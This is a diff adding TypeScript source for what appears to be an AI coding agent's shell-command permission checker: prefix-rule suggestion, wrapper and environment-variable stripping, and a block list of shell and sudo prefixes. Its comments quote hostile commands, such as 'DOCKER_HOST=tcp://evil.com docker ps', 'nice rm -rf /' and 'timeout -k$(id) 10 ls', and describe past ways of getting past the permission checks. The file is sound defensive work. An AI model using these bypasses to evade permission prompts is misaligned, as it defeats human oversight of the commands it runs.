+  suggestionForExactCommand as sharedSuggestionForExactCommand,
+  suggestionForPrefix as sharedSuggestionForPrefix,
+} from '../../utils/permissions/shellRuleMatching.js'
+import { getPlatform } from '../../utils/platform.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+import { windowsPathToPosixPath } from '../../utils/windowsPaths.js'
+import { BashTool } from './BashTool.js'
+import { checkCommandOperatorPermissions } from './bashCommandHelpers.js'
+import {
+  bashCommandIsSafeAsync_DEPRECATED,
+  stripSafeHeredocSubstitutions,
+} from './bashSecurity.js'
+import { checkPermissionMode } from './modeValidation.js'
+import { checkPathConstraints } from './pathValidation.js'
+import { checkSedConstraints } from './sedValidation.js'
+import { shouldUseSandbox } from './shouldUseSandbox.js'
+
+// DCE cliff: Bun's feature() evaluator has a per-function complexity budget.
+// bashToolHasPermission is right at the limit. `import { X as Y }` aliases
+// inside the import block count toward this budget; when they push it over
+// the threshold Bun can no longer prove feature('BASH_CLASSIFIER') is a
+// constant and silently evaluates the ternaries to `false`, dropping every
+// pendingClassifierCheck spread. Keep aliases as top-level const rebindings
+// instead. (See also the comment on checkSemanticsDeny below.)
+const bashCommandIsSafeAsync = bashCommandIsSafeAsync_DEPRECATED
+const splitCommand = splitCommand_DEPRECATED
+
+// Env-var assignment prefix (VAR=value). Shared across three while-loops that
+// skip safe env vars before extracting the command name.
+const ENV_VAR_ASSIGN_RE = /^[A-Za-z_]\w*=/
+
+// CC-643: On complex compound commands, splitCommand_DEPRECATED can produce a
+// very large subcommands array (possible exponential growth; #21405's ReDoS fix
+// may have been incomplete). Each subcommand then runs tree-sitter parse +
+// ~20 validators + logEvent (bashSecurity.ts), and with memoized metadata the
+// resulting microtask chain starves the event loop — REPL freeze at 100% CPU,
+// strace showed /proc/self/stat reads at ~127Hz with no epoll_wait. Fifty is
+// generous: legitimate user commands don't split that wide. Above the cap we
+// fall back to 'ask' (safe default — we can't prove safety, so we prompt).
+export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
+
+// GH#11380: Cap the number of per-subcommand rules suggested for compound
+// commands. Beyond this, the "Yes, and don't ask again for X, Y, Z…" label
+// degrades to "similar commands" anyway, and saving 10+ rules from one prompt
+// is more likely noise than intent. Users chaining this many write commands
+// in one && list are rare; they can always approve once and add rules manually.
+export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5
+
+/**
+ * [ANT-ONLY] Log classifier evaluation results for analysis.
+ * This helps us understand which classifier rules are being evaluated
+ * and how the classifier is deciding on commands.
+ */
+function logClassifierResultForAnts(
+  command: string,
+  behavior: ClassifierBehavior,
+  descriptions: string[],
+  result: ClassifierResult,
+): void {
+  if (process.env.USER_TYPE !== 'ant') {
+    return
+  }
+
+  logEvent('tengu_internal_bash_classifier_result', {
+    behavior:
+      behavior as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    descriptions: jsonStringify(
+      descriptions,
+    ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    matches: result.matches,
+    matchedDescription: (result.matchedDescription ??
+      '') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    confidence:
+      result.confidence as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    reason:
+      result.reason as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    // Note: command contains code/filepaths - this is ANT-ONLY so it's OK
+    command:
+      command as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  })
+}
+
+/**
+ * Extract a stable command prefix (command + subcommand) from a raw command string.
+ * Skips leading env var assignments only if they are in SAFE_ENV_VARS (or
+ * ANT_ONLY_SAFE_ENV_VARS for ant users). Returns null if a non-safe env var is
+ * encountered (to fall back to exact match), or if the second token doesn't look
+ * like a subcommand (lowercase alphanumeric, e.g., "commit", "run").
+ *
+ * Examples:
+ *   'git commit -m "fix typo"' → 'git commit'
+ *   'NODE_ENV=prod npm run build' → 'npm run' (NODE_ENV is safe)
+ *   'MY_VAR=val npm run build' → null (MY_VAR is not safe)
+ *   'ls -la' → null (flag, not a subcommand)
+ *   'cat file.txt' → null (filename, not a subcommand)
+ *   'chmod 755 file' → null (number, not a subcommand)
+ */
+export function getSimpleCommandPrefix(command: string): string | null {
+  const tokens = command.trim().split(/\s+/).filter(Boolean)
+  if (tokens.length === 0) return null
+
+  // Skip env var assignments (VAR=value) at the start, but only if they are
+  // in SAFE_ENV_VARS (or ANT_ONLY_SAFE_ENV_VARS for ant users). If a non-safe
+  // env var is encountered, return null to fall back to exact match. This
+  // prevents generating prefix rules like Bash(npm run:*) that can never match
+  // at allow-rule check time, because stripSafeWrappers only strips safe vars.
+  let i = 0
+  while (i < tokens.length && ENV_VAR_ASSIGN_RE.test(tokens[i]!)) {
+    const varName = tokens[i]!.split('=')[0]!
+    const isAntOnlySafe =
+      process.env.USER_TYPE === 'ant' && ANT_ONLY_SAFE_ENV_VARS.has(varName)
+    if (!SAFE_ENV_VARS.has(varName) && !isAntOnlySafe) {
+      return null
+    }
+    i++
+  }
+
+  const remaining = tokens.slice(i)
+  if (remaining.length < 2) return null
+  const subcmd = remaining[1]!
+  // Second token must look like a subcommand (e.g., "commit", "run", "compose"),
+  // not a flag (-rf), filename (file.txt), path (/tmp), URL, or number (755).
+  if (!/^[a-z][a-z0-9]*(-[a-z0-9]+)*$/.test(subcmd)) return null
+  return remaining.slice(0, 2).join(' ')
+}
+
+// Bare-prefix suggestions like `bash:*` or `sh:*` would allow arbitrary code
+// via `-c`. Wrapper suggestions like `env:*` or `sudo:*` would do the same:
+// `env` is NOT in SAFE_WRAPPER_PATTERNS, so `env bash -c "evil"` survives
+// stripSafeWrappers unchanged and hits the startsWith("env ") check at
+// the prefix-rule matcher. Shell list mirrors DANGEROUS_SHELL_PREFIXES in
+// src/utils/shell/prefix.ts which guarded the old Haiku extractor.
+const BARE_SHELL_PREFIXES = new Set([
+  'sh',
+  'bash',
+  'zsh',
+  'fish',
+  'csh',
+  'tcsh',
+  'ksh',
+  'dash',
+  'cmd',
+  'powershell',
+  'pwsh',
+  // wrappers that exec their args as a command
+  'env',
+  'xargs',
+  // SECURITY: checkSemantics (ast.ts) strips these wrappers to check the
+  // wrapped command. Suggesting `Bash(nice:*)` would be ≈ `Bash(*)` — users
+  // would add it after a prompt, then `nice rm -rf /` passes semantics while
+  // deny/cd+git gates see 'nice' (SAFE_WRAPPER_PATTERNS below didn't strip
+  // bare `nice` until this fix). Block these from ever being suggested.
+  'nice',
+  'stdbuf',
+  'nohup',
+  'timeout',
+  'time',
+  // privilege escalation — sudo:* from `sudo -u foo ...` would auto-approve
+  // any future sudo invocation
+  'sudo',
+  'doas',
+  'pkexec',
+])
+
+/**
+ * UI-only fallback: extract the first word alone when getSimpleCommandPrefix
+ * declines. In external builds TREE_SITTER_BASH is off, so the async
+ * tree-sitter refinement in BashPermissionRequest never fires — without this,
+ * pipes and compounds (`python3 file.py 2>&1 | tail -20`) dump into the
+ * editable field verbatim.
+ *
+ * Deliberately not used by suggestionForExactCommand: a backend-suggested
+ * `Bash(rm:*)` is too broad to auto-generate, but as an editable starting
+ * point it's what users expect (Slack C07VBSHV7EV/p1772670433193449).
+ *
+ * Reuses the same SAFE_ENV_VARS gate as getSimpleCommandPrefix — a rule like
+ * `Bash(python3:*)` can never match `RUN=/path python3 ...` at check time
+ * because stripSafeWrappers won't strip RUN.
+ */
+export function getFirstWordPrefix(command: string): string | null {
+  const tokens = command.trim().split(/\s+/).filter(Boolean)
+
+  let i = 0
+  while (i < tokens.length && ENV_VAR_ASSIGN_RE.test(tokens[i]!)) {
+    const varName = tokens[i]!.split('=')[0]!
+    const isAntOnlySafe =
+      process.env.USER_TYPE === 'ant' && ANT_ONLY_SAFE_ENV_VARS.has(varName)
+    if (!SAFE_ENV_VARS.has(varName) && !isAntOnlySafe) {
+      return null
+    }
+    i++
+  }
+
+  const cmd = tokens[i]
+  if (!cmd) return null
+  // Same shape check as the subcommand regex in getSimpleCommandPrefix:
+  // rejects paths (./script.sh, /usr/bin/python), flags, numbers, filenames.
+  if (!/^[a-z][a-z0-9]*(-[a-z0-9]+)*$/.test(cmd)) return null
+  if (BARE_SHELL_PREFIXES.has(cmd)) return null
+  return cmd
+}
+
+function suggestionForExactCommand(command: string): PermissionUpdate[] {
+  // Heredoc commands contain multi-line content that changes each invocation,
+  // making exact-match rules useless (they'll never match again). Extract a
+  // stable prefix before the heredoc operator and suggest a prefix rule instead.
+  const heredocPrefix = extractPrefixBeforeHeredoc(command)
+  if (heredocPrefix) {
+    return sharedSuggestionForPrefix(BashTool.name, heredocPrefix)
+  }
+
+  // Multiline commands without heredoc also make poor exact-match rules.
+  // Saving the full multiline text can produce patterns containing `:*` in
+  // the middle, which fails permission validation and corrupts the settings
+  // file. Use the first line as a prefix rule instead.
+  if (command.includes('\n')) {
+    const firstLine = command.split('\n')[0]!.trim()
+    if (firstLine) {
+      return sharedSuggestionForPrefix(BashTool.name, firstLine)
+    }
+  }
+
+  // Single-line commands: extract a 2-word prefix for reusable rules.
+  // Without this, exact-match rules are saved that never match future
+  // invocations with different arguments.
+  const prefix = getSimpleCommandPrefix(command)
+  if (prefix) {
+    return sharedSuggestionForPrefix(BashTool.name, prefix)
+  }
+
+  return sharedSuggestionForExactCommand(BashTool.name, command)
+}
+
+/**
+ * If the command contains a heredoc (<<), extract the command prefix before it.
+ * Returns the first word(s) before the heredoc operator as a stable prefix,
+ * or null if the command doesn't contain a heredoc.
+ *
+ * Examples:
+ *   'git commit -m "$(cat <<\'EOF\'\n...\nEOF\n)"' → 'git commit'
+ *   'cat <<EOF\nhello\nEOF' → 'cat'
+ *   'echo hello' → null (no heredoc)
+ */
+function extractPrefixBeforeHeredoc(command: string): string | null {
+  if (!command.includes('<<')) return null
+
+  const idx = command.indexOf('<<')
+  if (idx <= 0) return null
+
+  const before = command.substring(0, idx).trim()
+  if (!before) return null
+
+  const prefix = getSimpleCommandPrefix(before)
+  if (prefix) return prefix
+
+  // Fallback: skip safe env var assignments and take up to 2 tokens.
+  // This preserves flag tokens (e.g., "python3 -c" stays "python3 -c",
+  // not just "python3") and skips safe env var prefixes like "NODE_ENV=test".
+  // If a non-safe env var is encountered, return null to avoid generating
+  // prefix rules that can never match (same rationale as getSimpleCommandPrefix).
+  const tokens = before.split(/\s+/).filter(Boolean)
+  let i = 0
+  while (i < tokens.length && ENV_VAR_ASSIGN_RE.test(tokens[i]!)) {
+    const varName = tokens[i]!.split('=')[0]!
+    const isAntOnlySafe =
+      process.env.USER_TYPE === 'ant' && ANT_ONLY_SAFE_ENV_VARS.has(varName)
+    if (!SAFE_ENV_VARS.has(varName) && !isAntOnlySafe) {
+      return null
+    }
+    i++
+  }
+  if (i >= tokens.length) return null
+  return tokens.slice(i, i + 2).join(' ') || null
+}
+
+function suggestionForPrefix(prefix: string): PermissionUpdate[] {
+  return sharedSuggestionForPrefix(BashTool.name, prefix)
+}
+
+/**
+ * Extract prefix from legacy :* syntax (e.g., "npm:*" -> "npm")
+ * Delegates to shared implementation.
+ */
+export const permissionRuleExtractPrefix = sharedPermissionRuleExtractPrefix
+
+/**
+ * Match a command against a wildcard pattern (case-sensitive for Bash).
+ * Delegates to shared implementation.
+ */
+export function matchWildcardPattern(
+  pattern: string,
+  command: string,
+): boolean {
+  return sharedMatchWildcardPattern(pattern, command)
+}
+
+/**
+ * Parse a permission rule into a structured rule object.
+ * Delegates to shared implementation.
+ */
+export const bashPermissionRule: (
+  permissionRule: string,
+) => ShellPermissionRule = parsePermissionRule
+
+/**
+ * Whitelist of environment variables that are safe to strip from commands.
+ * These variables CANNOT execute code or load libraries.
+ *
+ * SECURITY: These must NEVER be added to the whitelist:
+ * - PATH, LD_PRELOAD, LD_LIBRARY_PATH, DYLD_* (execution/library loading)
+ * - PYTHONPATH, NODE_PATH, CLASSPATH, RUBYLIB (module loading)
+ * - GOFLAGS, RUSTFLAGS, NODE_OPTIONS (can contain code execution flags)
+ * - HOME, TMPDIR, SHELL, BASH_ENV (affect system behavior)
+ */
+const SAFE_ENV_VARS = new Set([
+  // Go - build/runtime settings only
+  'GOEXPERIMENT', // experimental features
+  'GOOS', // target OS
+  'GOARCH', // target architecture
+  'CGO_ENABLED', // enable/disable CGO
+  'GO111MODULE', // module mode
+
+  // Rust - logging/debugging only
+  'RUST_BACKTRACE', // backtrace verbosity
+  'RUST_LOG', // logging filter
+
+  // Node - environment name only (not NODE_OPTIONS!)
+  'NODE_ENV',
+
+  // Python - behavior flags only (not PYTHONPATH!)
+  'PYTHONUNBUFFERED', // disable buffering
+  'PYTHONDONTWRITEBYTECODE', // no .pyc files
+
+  // Pytest - test configuration
+  'PYTEST_DISABLE_PLUGIN_AUTOLOAD', // disable plugin loading
+  'PYTEST_DEBUG', // debug output
+
+  // API keys and authentication
+  'ANTHROPIC_API_KEY', // API authentication
+
+  // Locale and character encoding
+  'LANG', // default locale
+  'LANGUAGE', // language preference list
+  'LC_ALL', // override all locale settings
+  'LC_CTYPE', // character classification
+  'LC_TIME', // time format
+  'CHARSET', // character set preference
+
+  // Terminal and display
+  'TERM', // terminal type
+  'COLORTERM', // color terminal indicator
+  'NO_COLOR', // disable color output (universal standard)
+  'FORCE_COLOR', // force color output
+  'TZ', // timezone
+
+  // Color configuration for various tools
+  'LS_COLORS', // colors for ls (GNU)
+  'LSCOLORS', // colors for ls (BSD/macOS)
+  'GREP_COLOR', // grep match color (deprecated)
+  'GREP_COLORS', // grep color scheme
+  'GCC_COLORS', // GCC diagnostic colors
+
+  // Display formatting
+  'TIME_STYLE', // time display format for ls
+  'BLOCK_SIZE', // block size for du/df
+  'BLOCKSIZE', // alternative block size
+])
+
+/**
+ * ANT-ONLY environment variables that are safe to strip from commands.
+ * These are only enabled when USER_TYPE === 'ant'.
+ *
+ * SECURITY: These env vars are stripped before permission-rule matching, which
+ * means `DOCKER_HOST=tcp://evil.com docker ps` matches a `Bash(docker ps:*)`
+ * rule after stripping. This is INTENTIONALLY ANT-ONLY (gated at line ~380)
+ * and MUST NEVER ship to external users. DOCKER_HOST redirects the Docker
+ * daemon endpoint — stripping it defeats prefix-based permission restrictions
+ * by hiding the network endpoint from the permission check. KUBECONFIG
+ * similarly controls which cluster kubectl talks to. These are convenience
+ * strippings for internal power users who accept the risk.
+ *
+ * Based on analysis of 30 days of tengu_internal_bash_tool_use_permission_request events.
+ */
+const ANT_ONLY_SAFE_ENV_VARS = new Set([
+  // Kubernetes and container config (config file pointers, not execution)
+  'KUBECONFIG', // kubectl config file path — controls which cluster kubectl uses
+  'DOCKER_HOST', // Docker daemon socket/endpoint — controls which daemon docker talks to
+
+  // Cloud provider project/profile selection (just names/identifiers)
+  'AWS_PROFILE', // AWS profile name selection
+  'CLOUDSDK_CORE_PROJECT', // GCP project ID
+  'CLUSTER', // generic cluster name
+
+  // Anthropic internal cluster selection (just names/identifiers)
+  'COO_CLUSTER', // coo cluster name
+  'COO_CLUSTER_NAME', // coo cluster name (alternate)
+  'COO_NAMESPACE', // coo namespace
+  'COO_LAUNCH_YAML_DRY_RUN', // dry run mode
+
+  // Feature flags (boolean/string flags only)
+  'SKIP_NODE_VERSION_CHECK', // skip version check
+  'EXPECTTEST_ACCEPT', // accept test expectations
+  'CI', // CI environment indicator
+  'GIT_LFS_SKIP_SMUDGE', // skip LFS downloads
+
+  // GPU/Device selection (just device IDs)
+  'CUDA_VISIBLE_DEVICES', // GPU device selection
+  'JAX_PLATFORMS', // JAX platform selection
+
+  // Display/terminal settings
+  'COLUMNS', // terminal width
+  'TMUX', // TMUX socket info
+
+  // Test/debug configuration
+  'POSTGRESQL_VERSION', // postgres version string
+  'FIRESTORE_EMULATOR_HOST', // emulator host:port
+  'HARNESS_QUIET', // quiet mode flag
+  'TEST_CROSSCHECK_LISTS_MATCH_UPDATE', // test update flag
+  'DBT_PER_DEVELOPER_ENVIRONMENTS', // DBT config
+  'STATSIG_FORD_DB_CHECKS', // statsig DB check flag
+
+  // Build configuration
+  'ANT_ENVIRONMENT', // Anthropic environment name
+  'ANT_SERVICE', // Anthropic service name
+  'MONOREPO_ROOT_DIR', // monorepo root path
+
+  // Version selectors
+  'PYENV_VERSION', // Python version selection
+
+  // Credentials (approved subset - these don't change exfil risk)
+  'PGPASSWORD', // Postgres password
+  'GH_TOKEN', // GitHub token
+  'GROWTHBOOK_API_KEY', // self-hosted growthbook
+])
+
+/**
+ * Strips full-line comments from a command.
+ * This handles cases where Claude adds comments in bash commands, e.g.:
+ *   "# Check the logs directory\nls /home/user/logs"
+ * Should be stripped to: "ls /home/user/logs"
+ *
+ * Only strips full-line comments (lines where the entire line is a comment),
+ * not inline comments that appear after a command on the same line.
+ */
+function stripCommentLines(command: string): string {
+  const lines = command.split('\n')
+  const nonCommentLines = lines.filter(line => {
+    const trimmed = line.trim()
+    // Keep lines that are not empty and don't start with #
+    return trimmed !== '' && !trimmed.startsWith('#')
+  })
+
+  // If all lines were comments/empty, return original
+  if (nonCommentLines.length === 0) {
+    return command
+  }
+
+  return nonCommentLines.join('\n')
+}
+
+export function stripSafeWrappers(command: string): string {
+  // SECURITY: Use [ \t]+ not \s+ — \s matches \n/\r which are command
+  // separators in bash. Matching across a newline would strip the wrapper from
+  // one line and leave a different command on the next line for bash to execute.
+  //
+  // SECURITY: `(?:--[ \t]+)?` consumes the wrapper's own `--` so
+  // `nohup -- rm -- -/../foo` strips to `rm -- -/../foo` (not `-- rm ...`
+  // which would skip path validation with `--` as an unknown baseCmd).
+  const SAFE_WRAPPER_PATTERNS = [
+    // timeout: enumerate GNU long flags — no-value (--foreground,
+    // --preserve-status, --verbose), value-taking in both =fused and
+    // space-separated forms (--kill-after=5, --kill-after 5, --signal=TERM,
+    // --signal TERM). Short: -v (no-arg), -k/-s with separate or fused value.
+    // SECURITY: flag VALUES use allowlist [A-Za-z0-9_.+-] (signals are
+    // TERM/KILL/9, durations are 5/5s/10.5). Previously [^ \t]+ matched
+    // $ ( ) ` | ; & — `timeout -k$(id) 10 ls` stripped to `ls`, matched
+    // Bash(ls:*), while bash expanded $(id) during word splitting BEFORE
+    // timeout ran. Contrast ENV_VAR_PATTERN below which already allowlists.
+    /^timeout[ \t]+(?:(?:--(?:foreground|preserve-status|verbose)|--(?:kill-after|signal)=[A-Za-z0-9_.+-]+|--(?:kill-after|signal)[ \t]+[A-Za-z0-9_.+-]+|-v|-[ks][ \t]+[A-Za-z0-9_.+-]+|-[ks][A-Za-z0-9_.+-]+)[ \t]+)*(?:--[ \t]+)?\d+(?:\.\d+)?[smhd]?[ \t]+/,
+    /^time[ \t]+(?:--[ \t]+)?/,
+    // SECURITY: keep in sync with checkSemantics wrapper-strip (ast.ts
+    // ~:1990-2080) AND stripWrappersFromArgv (pathValidation.ts ~:1260).
+    // Previously this pattern REQUIRED `-n N`; checkSemantics already handled
+    // bare `nice` and legacy `-N`. Asymmetry meant checkSemantics exposed the
+    // wrapped command to semantic checks but deny-rule matching and the cd+git
+    // gate saw the wrapper name. `nice rm -rf /` with Bash(rm:*) deny became
+    // ask instead of deny; `cd evil && nice git status` skipped the bare-repo
+    // RCE gate. PR #21503 fixed stripWrappersFromArgv; this was missed.
+    // Now matches: `nice cmd`, `nice -n N cmd`, `nice -N cmd` (all forms
+    // checkSemantics strips).
+    /^nice(?:[ \t]+-n[ \t]+-?\d+|[ \t]+-\d+)?[ \t]+(?:--[ \t]+)?/,
+    // stdbuf: fused short flags only (-o0, -eL). checkSemantics handles more
+    // (space-separated, long --output=MODE), but we fail-closed on those
+    // above so not over-stripping here is safe. Main need: `stdbuf -o0 cmd`.
+    /^stdbuf(?:[ \t]+-[ioe][LN0-9]+)+[ \t]+(?:--[ \t]+)?/,
+    /^nohup[ \t]+(?:--[ \t]+)?/,
+  ] as const
+
+  // Pattern for environment variables:
+  // ^([A-Za-z_][A-Za-z0-9_]*)  - Variable name (standard identifier)
+  // =                           - Equals sign
+  // ([A-Za-z0-9_./:-]+)         - Value: alphanumeric + safe punctuation only
+  // [ \t]+                      - Required HORIZONTAL whitespace after value
+  //
+  // SECURITY: Only matches unquoted values with safe characters (no $(), `, $var, ;|&).
+  //
+  // SECURITY: Trailing whitespace MUST be [ \t]+ (horizontal only), NOT \s+.
+  // \s matches \n/\r. If reconstructCommand emits an unquoted newline between
+  // `TZ=UTC` and `echo`, \s+ would match across it and strip `TZ=UTC<NL>`,
+  // leaving `echo curl evil.com` to match Bash(echo:*). But bash treats the
+  // newline as a command separator. Defense-in-depth with needsQuoting fix.
+  const ENV_VAR_PATTERN = /^([A-Za-z_][A-Za-z0-9_]*)=([A-Za-z0-9_./:-]+)[ \t]+/
+
+  let stripped = command
+  let previousStripped = ''
+
+  // Phase 1: Strip leading env vars and comments only.
+  // In bash, env var assignments before a command (VAR=val cmd) are genuine
+  // shell-level assignments. These are safe to strip for permission matching.
+  while (stripped !== previousStripped) {
+    previousStripped = stripped
+    stripped = stripCommentLines(stripped)
+
+    const envVarMatch = stripped.match(ENV_VAR_PATTERN)
+    if (envVarMatch) {
+      const varName = envVarMatch[1]!
+      const isAntOnlySafe =
+        process.env.USER_TYPE === 'ant' && ANT_ONLY_SAFE_ENV_VARS.has(varName)
+      if (SAFE_ENV_VARS.has(varName) || isAntOnlySafe) {
+        stripped = stripped.replace(ENV_VAR_PATTERN, '')
+      }
+    }
+  }
+
+  // Phase 2: Strip wrapper commands and comments only. Do NOT strip env vars.
+  // Wrapper commands (timeout, time, nice, nohup) use execvp to run their
+  // arguments, so VAR=val after a wrapper is treated as the COMMAND to execute,
+  // not as an env var assignment. Stripping env vars here would create a
+  // mismatch between what the parser sees and what actually executes.
+  // (HackerOne #3543050)
+  previousStripped = ''
+  while (stripped !== previousStripped) {
+    previousStripped = stripped
+    stripped = stripCommentLines(stripped)
+
+    for (const pattern of SAFE_WRAPPER_PATTERNS) {
+      stripped = stripped.replace(pattern, '')
+    }
+  }
+
+  return stripped.trim()
+}
+
+// SECURITY: allowlist for timeout flag VALUES (signals are TERM/KILL/9,
+// durations are 5/5s/10.5). Rejects $ ( ) ` | ; & and newlines that
+// previously matched via [^ \t]+ — `timeout -k$(id) 10 ls` must NOT strip.
+const TIMEOUT_FLAG_VALUE_RE = /^[A-Za-z0-9_.+-]+$/
+
+/**
+ * Parse timeout's GNU flags (long + short, fused + space-separated) and
+ * return the argv index of the DURATION token, or -1 if flags are unparseable.
+ * Enumerates: --foreground/--preserve-status/--verbose (no value),
+ * --kill-after/--signal (value, both =fused and space-separated), -v (no
+ * value), -k/-s (value, both fused and space-separated).
+ *
+ * Extracted from stripWrappersFromArgv to keep bashToolHasPermission under
+ * Bun's feature() DCE complexity threshold — inlining this breaks
+ * feature('BASH_CLASSIFIER') evaluation in classifier tests.
+ */
+function skipTimeoutFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    const next = a[i + 1]
+    if (
+      arg === '--foreground' ||
+      arg === '--preserve-status' ||
+      arg === '--verbose'
+    )
+      i++
+    else if (/^--(?:kill-after|signal)=[A-Za-z0-9_.+-]+$/.test(arg)) i++
+    else if (
+      (arg === '--kill-after' || arg === '--signal') &&
+      next &&
+      TIMEOUT_FLAG_VALUE_RE.test(next)
+    )
+      i += 2
+    else if (arg === '--') {
+      i++
+      break
+    } // end-of-options marker
+    else if (arg.startsWith('--')) return -1
+    else if (arg === '-v') i++
+    else if (
+      (arg === '-k' || arg === '-s') &&
+      next &&
+      TIMEOUT_FLAG_VALUE_RE.test(next)
+    )
+      i += 2
+    else if (/^-[ks][A-Za-z0-9_.+-]+$/.test(arg)) i++
+    else if (arg.startsWith('-')) return -1
+    else break
+  }
+  return i
+}
+
+/**
+ * Argv-level counterpart to stripSafeWrappers. Strips the same wrapper
+ * commands (timeout, time, nice, nohup) from AST-derived argv. Env vars
+ * are already separated into SimpleCommand.envVars so no env-var stripping.
+ *
+ * KEEP IN SYNC with SAFE_WRAPPER_PATTERNS above — if you add a wrapper
+ * there, add it here too.
+ */
+export function stripWrappersFromArgv(argv: string[]): string[] {
+  // SECURITY: Consume optional `--` after wrapper options, matching what the
+  // wrapper does. Otherwise `['nohup','--','rm','--','-/../foo']` yields `--`
+  // as baseCmd and skips path validation. See SAFE_WRAPPER_PATTERNS comment.
+  let a = argv
+  for (;;) {
+    if (a[0] === 'time' || a[0] === 'nohup') {
+      a = a.slice(a[1] === '--' ? 2 : 1)
+    } else if (a[0] === 'timeout') {
+      const i = skipTimeoutFlags(a)
+      if (i < 0 || !a[i] || !/^\d+(?:\.\d+)?[smhd]?$/.test(a[i]!)) return a
+      a = a.slice(i + 1)
+    } else if (
+      a[0] === 'nice' &&
+      a[1] === '-n' &&
+      a[2] &&
+      /^-?\d+$/.test(a[2])
+    ) {
+      a = a.slice(a[3] === '--' ? 4 : 3)
+    } else {
+      return a
+    }
+  }
+}
+
+/**
+ * Env vars that make a *different binary* run (injection or resolution hijack).
+ * Heuristic only — export-&& form bypasses this, and excludedCommands isn't a
+ * security boundary anyway.
+ */
+export const BINARY_HIJACK_VARS = /^(LD_|DYLD_|PATH$)/
+
+/**
+ * Strip ALL leading env var prefixes from a command, regardless of whether the
+ * var name is in the safe-list.
+ *
+ * Used for deny/ask rule matching: when a user denies `claude` or `rm`, the
+ * command should stay blocked even if prefixed with arbitrary env vars like
+ * `FOO=bar claude`. The safe-list restriction in stripSafeWrappers is correct
+ * for allow rules (prevents `DOCKER_HOST=evil docker ps` from auto-matching
+ * `Bash(docker ps:*)`), but deny rules must be harder to circumvent.
+ *
+ * Also used for sandbox.excludedCommands matching (not a security boundary —
+ * permission prompts are), with BINARY_HIJACK_VARS as a blocklist.
+ *
+ * SECURITY: Uses a broader value pattern than stripSafeWrappers. The value
+ * pattern excludes only actual shell injection characters ($, backtick, ;, |,
+ * &, parens, redirects, quotes, backslash) and whitespace. Characters like
+ * =, +, @, ~, , are harmless in unquoted env var assignment position and must
+ * be matched to prevent trivial bypass via e.g. `FOO=a=b denied_command`.
+ *
+ * @param blocklist - optional regex tested against each var name; matching vars
+ *   are NOT stripped (and stripping stops there). Omit for deny rules; pass
+ *   BINARY_HIJACK_VARS for excludedCommands.
+ */
+export function stripAllLeadingEnvVars(
+  command: string,
+  blocklist?: RegExp,
+): string {
+  // Broader value pattern for deny-rule stripping. Handles:
+  //
+  // - Standard assignment (FOO=bar), append (FOO+=bar), array (FOO[0]=bar)
+  // - Single-quoted values: '[^'\n\r]*' — bash suppresses all expansion
+  // - Double-quoted values with backslash escapes: "(?:\\.|[^"$`\\\n\r])*"
+  //   In bash double quotes, only \$, \`, \", \\, and \newline are special.
+  //   Other \x sequences are harmless, so we allow \. inside double quotes.
+  //   We still exclude raw $ and ` (without backslash) to block expansion.
+  // - Unquoted values: excludes shell metacharacters, allows backslash escapes
+  // - Concatenated segments: FOO='x'y"z" — bash concatenates adjacent segments
+  //
+  // SECURITY: Trailing whitespace MUST be [ \t]+ (horizontal only), NOT \s+.
+  //
+  // The outer * matches one atomic unit per iteration: a complete quoted
+  // string, a backslash-escape pair, or a single unquoted safe character.
+  // The inner double-quote alternation (?:...|...)* is bounded by the
+  // closing ", so it cannot interact with the outer * for backtracking.
+  //
+  // Note: $ is excluded from unquoted/double-quoted value classes to block
+  // dangerous forms like $(cmd), ${var}, and $((expr)). This means
+  // FOO=$VAR is not stripped — adding $VAR matching creates ReDoS risk
+  // (CodeQL #671) and $VAR bypasses are low-priority.
+  const ENV_VAR_PATTERN =
+    /^([A-Za-z_][A-Za-z0-9_]*(?:\[[^\]]*\])?)\+?=(?:'[^'\n\r]*'|"(?:\\.|[^"$`\\\n\r])*"|\\.|[^ \t\n\r$`;|&()<>\\\\'"])*[ \t]+/
+
+  let stripped = command
+  let previousStripped = ''
+
+  while (stripped !== previousStripped) {
+    previousStripped = stripped
+    stripped = stripCommentLines(stripped)
+
+    const m = stripped.match(ENV_VAR_PATTERN)
+    if (!m) continue
+    if (blocklist?.test(m[1]!)) break
+    stripped = stripped.slice(m[0].length)
+  }
+
+  return stripped.trim()
+}
+
+function filterRulesByContentsMatchingInput(
+  input: z.infer<typeof BashTool.inputSchema>,
+  rules: Map<string, PermissionRule>,
+  matchMode: 'exact' | 'prefix',
+  {
+    stripAllEnvVars = false,
+    skipCompoundCheck = false,
+  }: { stripAllEnvVars?: boolean; skipCompoundCheck?: boolean } = {},
+): PermissionRule[] {
+  const command = input.command.trim()
+
+  // Strip output redirections for permission matching
+  // This allows rules like Bash(python:*) to match "python script.py > output.txt"
+  // Security validation of redirection targets happens separately in checkPathConstraints
+  const commandWithoutRedirections =
+    extractOutputRedirections(command).commandWithoutRedirections
+
+  // For exact matching, try both the original command (to preserve quotes)
+  // and the command without redirections (to allow rules without redirections to match)
+  // For prefix matching, only use the command without redirections
+  const commandsForMatching =
+    matchMode === 'exact'
+      ? [command, commandWithoutRedirections]
+      : [commandWithoutRedirections]
+
+  // Strip safe wrapper commands (timeout, time, nice, nohup) and env vars for matching
+  // This allows rules like Bash(npm install:*) to match "timeout 10 npm install foo"
+  // or "GOOS=linux go build"
+  const commandsToTry = commandsForMatching.flatMap(cmd => {
+    const strippedCommand = stripSafeWrappers(cmd)
+    return strippedCommand !== cmd ? [cmd, strippedCommand] : [cmd]
+  })
+
+  // SECURITY: For deny/ask rules, also try matching after stripping ALL leading
+  // env var prefixes. This prevents bypass via `FOO=bar denied_command` where
+  // FOO is not in the safe-list. The safe-list restriction in stripSafeWrappers
+  // is intentional for allow rules (see HackerOne #3543050), but deny rules
